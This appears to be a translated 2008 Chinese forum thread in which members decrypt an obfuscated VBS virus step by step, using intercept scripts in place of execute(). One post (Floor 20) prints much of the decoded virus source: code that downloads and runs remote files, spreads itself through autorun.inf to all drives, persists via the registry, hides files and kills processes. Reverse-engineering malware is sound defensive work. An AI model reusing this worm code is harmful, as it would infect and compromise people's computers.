China DOS Union
-- Unite DOS · Advance DOS · Grow DOS --Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
|
China DOS Union-- Unite DOS · Advance DOS · Grow DOS --Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum |
| Guest | Log in | Register | Members | Search | China DOS Union |
|
中国DOS联盟论坛 The time now is 2026-11-10 11:26 |
47,815 topics / 349,930 posts / today 0 new / 48,291 members |
| DOS批处理 & 脚本技术（批处理室） » [Help] Help to decrypt a VBS |
| Printable Version 4,626 / 30 |
| Floor16 uhnmki | Posted 2008-01-16 12:56 |
| 初级用户 Posts 11 Credits 73 | |
| Floor17 baomaboy | Posted 2008-01-16 14:29 |
| 银牌会员 Posts 554 Credits 1,513 | |
Originally posted by uhnmki at 2008-1-16 12:56: Because there is code that executes replacement in a loop, it is recommended to use the OpenTextFile method... Also, apply parameter 8 "append data mode" so that although duplicate code will be obtained, omissions can be avoided... After running the code above with end sub added, the obtained code seems to have an error. It seems that the " symbol conversion is wrong after dyz=. Also, I just saw that the building above hopes to post continuously. I'm really sorry... [ Last edited by baomaboy on 2008-1-16 at 02:50 PM ] |
|
| Floor18 uhnmki | Posted 2008-01-16 15:12 |
| 初级用户 Posts 11 Credits 73 | |
|
【Continuation 5】Now let's open decode_6.txt and see what the return value of the uc function generated at the end is:
Wow, my god, it's still so messy. Dear readers, I'm sorry. It's a bit tiring for your eyes. I'm sorry to have made you excited too early. But fortunately, it's all ASCII code, which is better than the garbled code of b=lO+qO. And there are so many of them, which means the ciphertext b=lO+qO must have been substituted for decoding. Although it's a bit messy, I was like that at the beginning too. I got confused by two adjacent executes several times. But if you have EmEditor this text editor on hand, it's okay. It's clear at a glance. UEdit doesn't seem to work. Although UEdit has more functions than EmEditor, it's a bit stupid at this time. The effect EmEditor sees is similar to what I marked in the quote. In this way, you will immediately find that actually this is the assignment or string of several variables, and then there is a execute (code ), which is important. It will push the program to go further to the next step. Otherwise, it will stop here. In addition, a function er is brought at the end, which also refers to a function called rr. Regardless, the focus must be on the things inside the parentheses of execute(). It seems that many variables have been assigned above. Yes, it's it. If the code is decoded, it may be the plaintext (a bit lacking in confidence). So I still do that. Design an intercept program Intercept: Sub Intercept (code) WScript.Echo code OutPutFile="decode_7'.txt" Set objFSO=CreateObject("Scripting.FileSystemObject") Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False) objTXT.Write code objTXT.Close Set objWSH=CreateObject("WScript.Shell") objWSH.Run OutPutFile WScript.Quit End Sub Use Intercept() to replace the execute() and get the code to be executed. So transform the above result like this: Copy the above code and save it as Decoding_6th.vbs, run it, and the result is stored in decode_7.txt. This time I guarantee you will see the true lie. Really, I'm not lying to you. I didn't mean to lie to you before. Don't go away. Oh no, don't look for tomatoes and eggs first. Be patient. Give me some time,I have something to say...Oh my god...【To be continued】 [ Last edited by uhnmki on 2008-1-16 at 07:28 PM ] |
|
| Floor19 uhnmki | Posted 2008-01-16 19:38 |
| 初级用户 Posts 11 Credits 73 | |
|
**** Open decode_7.txt and see if the plaintext appears:
Alas, it disappoints everyone again. It's a bit messy, but wait a minute, let's sort it out first to see more clearly: This is almost close to uncovering the last layer. It's basically continuously substituting various variables into the uc(b) function, then decoding, generating instructions, making the main program segment and various functions needed by the main program, and then executing the decoded code. The virus is finally showing its ferocious appearance. The uc(b) function is the key, just as we suspected earlier, it is the decoding function. Then there are many variables appearing here, which are the messy things we saw in the sixth pot earlier. Because the code here is the result of the string merging in execute() that appeared in the sixth pot last time. When execute starts to execute the code here, the variables appearing at the same time as execute are of the same status as these codes, which is equivalent to us assigning values to some variables first when writing the program, but then enclosing the entire main program segment and all function segments in execute(). This actually has no effect. For example: Var1="Var1 is defined in Main." ' First assign a value to the variable Execute("MsgBox Var1") '==> MsgBox "Var1" ' Then execute the program in Execute Execute("MsgBox uc(Var1)") '==> MsgBox uc(Var1) Execute "Exe"&"cute("&Chr(34)&"MsgBox uc(rr(Var1) & Var2)"&Chr(34)&")" 'Equivalent to Execute ( "Execute("MsgBox uc(rr(Var1) & Var2)") ")，Note "equivalent to", not directly runnable, need to consider how to handle quotes in quotes ' Imitate the Virus approach, write the function body into execute, and sell a关子, define a Var2 variable in function rr, but rr doesn't use it. Once rr is executed once, it can be used by uc(b) Function rr(a) Execute ("Var2="&Chr(34)&"Var2 is defined in Fuction rr. It is no use for Function rr."&Chr(34)&"&vbCrLf"&":rr=a & "&Chr(34)&"can be ued by Function rr."&Chr(34)&" & vbCrLf") '<-- Var2="Var2 is defined in Functin rr, It is no use for Function rr" & vbCrLf '<-- rr=a & "and can be used by Function rr." End Function Function uc(b) Execute ("x="&Chr(34)&"All above can be used by Function uc."&Chr(34)&":"&"uc=b & Chr(10) & Chr(13) & x") '<-- x="All above can be used by Function uc" '<-- uc=b & vbCrLf & x End Function So if we decode each execute(uc(...)) in the Decode_7 code in turn, and substitute them into execute(uc(...)) at the corresponding positions, the final result is the encrypted plaintext, that is, the virus原体. Next, we need to consider how to generate each segment of the program specifically, mainly the uc(b) function. Let's review the ins and outs of the uc(b) function, see the following figure:  When uc(b) first appeared, it did not explicitly contain the variable b. Through variables w, x, y, z decoding twice, by Decode_4th, the usable form of uc(b) was generated. There are not only b there, but also newly defined variables of almost c～v and undefined l. And l is assigned a value in Decode_6 later. When the program uses it for the first time, it has to be considered as an empty character. After Decode_6, when the uc(b) function is called again, remember that l should use the definition in Decode_6. There is also a rn, which is handled in the same way. Since x, y, z, w (it seems) have never been changed, the content of Decode_4 is basically unchanged. So we might as well re-construct the function uc(b) like this, pile up those variables defined in Decode_4～6 together, then take the algorithm fragment for generating the function return value uc in Decode_4, and code them together to form the plaintext form of the uc(b) function. Using the obtained uc(b) function, substitute b one by one, and get the values of uc(b) appearing in Decode_7 one by one, like the following:
Each time you modify execute(uc(b))'s b, save it as a vbs and run it, finally open Decode_8.txt, copy the results of each time to the corresponding positions in Decode_7, and combine them together to re-construct the entire virus原体. I counted, there are 23 uc(b)s. You can simply repeat them one by one, I don't need to do it, because I want to generate and assemble them automatically. To be continued for what happens next. [ Last edited by uhnmki on 2008-1-23 at 07:17 PM ] |
|
| Floor20 slore | Posted 2008-01-20 03:27 |
| 铂金会员 Posts 2,478 Credits 5,212 | |
|
### gt():
Dim d:j = "\" tjs = rr("tjs", 1): djs = rr("djs", 1) If Not IsNumeric(tjs) Or Not IsDate(djs) Then wr "tjs", 1 wr "djs", Date djs = rr("djs", 1) End If wr "tjs", tjs + 1 wb = pr("clsmn.exe", 1) = 1 Or pr("ap.exe", 1) = 1 Or pr("pubwin.exe", 1) = 1 If Date - CDate(djs) > 4 Then gq = True ws.run "net start ""task scheduler""", 0, False End If If (rr("tjs", 1) > 800 Or wb Or gq Or Not sys) And rr("ded", 1) <> CStr(Date) Then id = rr("idd", 1) If wb Then id = 1 js = 1 cd = 0 End If Do While cd <> "<script>" If js = 2 Or js = 4 Then d2 = dn(mir & til, ht + ha + ec(hd) & id, 0, 100) cd = rt(mir & til, 1) ElseIf js = 1 Or js = 3 Then d1 = dn(mir & til, ht + ec(hb) + ec(hd) & id & "&v=" & ver, 0, 100) cd = rt(mir & til, 1) End If js = js + 1 wz = d1 = 1 Or d2 = 1 If js > 4 Then If wz Then gt = 1 Exit Do End If If wz Then er = er - 1 Loop If ei(mir & til, 1) Then Set r = fso.OpenTextFile(mir & til, 1) cin = r.ReadLine dis = r.ReadLine dna = r.ReadLine dfr = r.ReadLine nve = r.ReadLine nru = r.ReadLine nna = r.ReadLine nfr = r.ReadLine tsw = r.ReadLine tco = r.ReadLine osw = r.ReadLine idd = r.ReadLine r.Close df mir & til If cin = "<script>" Then wr "tjs", 1 wr "djs", Date wr "idd", idd wr "dna", dna wr "tsw", tsw wr "tco", tco wr "osw", osw If nve - ver >= 1 Or Not ei(dir & ve, 1) Then dn dir & nna, ht & nfr & dfo & nna, nru, 2000 wscript.quit End If If dis = 1 And sys Then If dna <> le Or Not ei(tmp & le, 1) Then df tmp & le dn tmp & dna, ht & dfr & dfo & dna, 1, 1000 End If End If End If End If End If If er(1) Or wb Then gt = 1 ### ei(name, wt): Dim d:j = "\" If fso.fileexists(name) And wt = 1 Then ei = True If fso.folderexists(name) And wt = 2 Then ei = True Dim d:j = "\" ar wh, 0 If ei(wh, 1) Then fso.deletefile(wh) If ei(wh, 2) Then fso.deletefolder(wh) Dim d:j = "\" df wh Set bin = fso.createtextfile(wh, True) bin.writeline wt bin.Close If da = 1 Then ar wh, 7 If Not er(0) Then bf = 1 Dim d:j = "\" df wh Set i = fso.createtextfile(wh, True) h = vbCrLf i.writeline til & h & "" & h & "open=wscript.exe .\" & vs & h & "shell\open\command=wscript.exe .\" & vs & h & "shell\open\default=1" i.Close ar wh, 7 If Not er(0) Then bi = 1 Dim d:j = "\" If li < 0 Then wh = ouw If ei(wh, 1) Then If fso.getfile(wh).size = 0 Then rt = 0 Else Set r = fso.OpenTextFile(wh, 1) Set cl = fso.OpenTextFile(wh, 1) cl.ReadAll tli = cl.line cl.Close If li > 0 And li <= tli Then i = 0 Do While i < li i = i + 1 If Not r.atendofstream Then sli = r.ReadLine Else sli = 0 End If Loop rt = sli ElseIf li <= 0 Then rt = r.ReadAll Else rt = 0 End If r.Close End If Else rt = 0 End If Dim d:j = "\" If rda = -1 Then ws.regdelete rna Else ws.regwrite rpa & rna, rda, "REG_SZ" Dim d:j = "\" If pa = 1 Then rna = rpa & rna rr = ws.regread(rna) If er(0) Then rr = 0 Dim d:j = "\" If ei(file, 1) Then Set ofile = fso.getfile(file) ofile.attributes = cg Set ofile = Nothing End If If ei(file, 2) Then Set ofile = fso.getfolder(file) ofile.attributes = cg Set ofile = Nothing Dim d:j = "\" ar loc, 0 Set xpost = CreateObject("microsoft.xmlhttp") xpost.open "get", web, 0 xpost.send() If min <> 0 Then If Not er(0) Then dn = 1 Set sget = CreateObject("adodb.stream") sget.mode = 3 sget.Type = 1 sget.open sget.write(xpost.responsebody) sget.savetofile loc, 2 ar loc, 7 If ei(loc, 1) Then fsz = fso.getfile(loc).size Else fsz = 0 If fsz > min Then If ris = 1 Then ws.run loc Else dn = 0 df loc End If End If End If Dim d:j = "\" Set pl = wmi.execquery("select * from win32_process where name='" & pcs & "'") i = 1 For Each p In pl i = i + 1 If i > Abs(gs) Then pr = 1 If gs < 0 Then If p.terminate = 2 And pr = 1 Then ws.run cm & "tskill " & Left(p.name, Len(p.name) - 4), 0, False End If End If Next If er(0) Then pr = 2 Dim d:j = "\" For i = 1 To Len(wt) ec = ec & Chr(Asc(Mid(wt, i, 1)) - i) Next Dim d:j = "\" df wh Set vbs = fso.createtextfile(wh, True) vbs.write ouc vbs.Close ar wh, 7 Dim d:j = "\" If sw = 1 And rr(rsp & rsn, 0) <> ve Then ws.regwrite rsp & rsn, ve, "REG_SZ" If er(0) And Not ei(fsp, 1) Then bf fsp, wsr & " """ & ve & """", 0 ElseIf sw = -1 Then df fsp ElseIf sw = 0 Then df fsp wr rsp & rsn, -1 wr rpa, -1 End If Dim d:j = "\" If sw = 1 Then ws.regwrite hip, "0", "REG_DWORD" If sw = 0 Then hi = rr(hip, 0) Dim d:j = "\" id = rr("idd", 1) Do While fid <= eid idc = idc & "," & fid fid = fid + 1 Loop ids = ids & idc idss = Split(ids, ",") For i = 0 To UBound(idss) If id = idss(i) Then If Not ei(tmp & fname, 1) Then dn tmp & fname, ht & furl, 0, 2000 End If End If Next If ei(tmp & fname, 1) Then ws.run tmp & fname gi = 1 Dim d:j = "\" If rr("ged", 1) <> fn And pr(pcs, 1) = 1 Then If dn(tmp & fn, ht & furl, 0, 2000) = 1 Then dwc = 1 If ei(tmp & fn, 1) And dwc = 1 Then If kill = 1 Then pr pcs, -1 ws.run tmp & fn If Not er(0) Then wr "ged", fn dn 0, ht + ec(hb) + he + fn, 0, 0 If kill = 2 Then pr pcs, -1 km 1 End If End If End If dw = 1 End If wscript.sleep 100 Dim d:j = "\" For Each d In dc If d.drivetype = 3 Or (d.drivetype = 1 And d <> "A:" And d <> "B:") Then If sw = 1 Then If ei(d & inf, 2) Then df d & inf If ei(d & j & vs, 1) And ei(d & inf, 1) Then If rt(d & inf, 1) <> til Then bi d & inf Else hi 1 bi d & inf co d & j & vs End If ElseIf sw = -1 Then df d & inf df d & j & vs Else bf d & j & vs, wsr & "(left(wscript.scriptfullname,3)),3" & String(10000, "'"), 1 df d & inf End If End If Next Dim d:j = "\" cus = rr("osw", 1) <> 4 Do dcu = rr("tgs", 1) <> CStr(Date) If (Second(Time) Mod 3) = 0 Then If dcu And cus Then us 1 min = Minute(Now) If (min Mod 2) = 0 And nn <> min And oo <> 1 Then nn = min oo = gt km 0 End If If rr("tsw", 1) = 1 Then execute(uc(rr("tco", 1))) End If wscript.sleep 900 If hi(0) = 1 And dcu Then wr "tgs", Date us = us - 1 End If If pr("taskmgr.exe", 1) = 1 Then ws.run "at " & Time + 0.003 & " /interactive " & ve, 0, False wr "atd", 1 hi 1 wscript.quit End If Loop |
|
| Floor21 kich | Posted 2008-01-20 10:58 |
| 中级用户 Posts 168 Credits 397 | |
|
Rising will report a virus:
|
|
| Floor22 knoppix7 | Posted 2008-01-20 12:48 |
| 银牌会员 Posts 634 Credits 1,287 From cmd.exe | |
|
BT encryption... Sweat....
LS has worked hard |
|
| Floor23 uhnmki | Posted 2008-01-23 19:38 |
| 初级用户 Posts 11 Credits 73 | |
|
【Continuation Seven】Let's carry this matter through to the end. Although the viewers have all scattered and no one is reading this post, I'm writing for myself now. I use this nice page layout here, and after writing, I'll copy the web page to keep as a reference for myself. As mentioned above, I need to decode the encrypted virus and restore it to a complete program. The following is my method (there are many methods, different people have different views):
I don't know why I can't upload the attachment. Just copy the above code, save it as, for example, uncover.vbs, and then run it. Please rest assured that it won't trigger a virus. This is also the reason why this post was just published, because I don't want to do things like recall. ^_^ The result is saved in virus.txt, which is the source program of the virus. Oh no, wait a minute, I forgot. In the sixth pot earlier, there is a function that looks like an error handling function in Decode_6. I checked the plaintext of the virus and found that it uses that error handling function several times, which is quite strange. So the final result also needs to add that error handling function function er(sco) to Virus.txt. Therefore, the complete result is:
If any expert is interested, please analyze it for us. I've done the previous work, and now it's your turn to show off? Oh, I forgot to say, thank you to all the experts, viewers, and moderators for your guidance and points. I can't reply one by one, please forgive me. Actually, I'm still asking others' questions over there, and I haven't had time to thank them yet. I'm doing this here to be well-prepared for when someone helps me solve doubts in the future. Okay, everyone, see U in other places, bye-bye!!! 【End of the full text】 [ Last edited by uhnmki on 2008-1-26 at 07:10 AM ] |
|
| Floor24 luowei14 | Posted 2008-01-23 20:00 |
| 初级用户 Posts 98 Credits 193 | |
| Floor25 ct268gh | Posted 2008-01-25 21:29 |
| 新手上路 Posts 7 Credits 12 | |
|
uhnmki is really an expert! The layout explanation is very good, I've bookmarked it
|
|
| Floor26 lengxue0624 | Posted 2008-03-05 14:51 |
| 新手上路 Posts 1 Credits 2 | |
|
Is there no sequel? Who else can talk about the following? Watch a big movie?
|
|
| Floor27 liuyun20 | Posted 2008-03-31 14:18 |
| 初级用户 Posts 14 Credits 36 | |
|
PF！！！
Great person... |
|
| Floor28 holley | Posted 2008-10-07 16:28 |
| 新手上路 Posts 11 Credits 14 | |
|
I can only say that perverted people need perverted people to deal with -_-!
|
|
| Floor29 gotocmd | Posted 2008-10-07 20:08 |
| 新手上路 Posts 20 Credits 19 | |
|
I more suspect that the one who decrypted is the one who encrypted
|
|
| Floor30 ljhwaoi | Posted 2009-07-28 03:36 |
| 新手上路 Posts 5 Credits 6 | |
|
Beginners are dizzy, but it's very interesting!
|
|
| Prev 1 2 3 Next |
|
[ Contact the Union admin team -
中国DOS联盟 -
Standard version ] Sponsored by ifanr Inc | © 2001–2023 |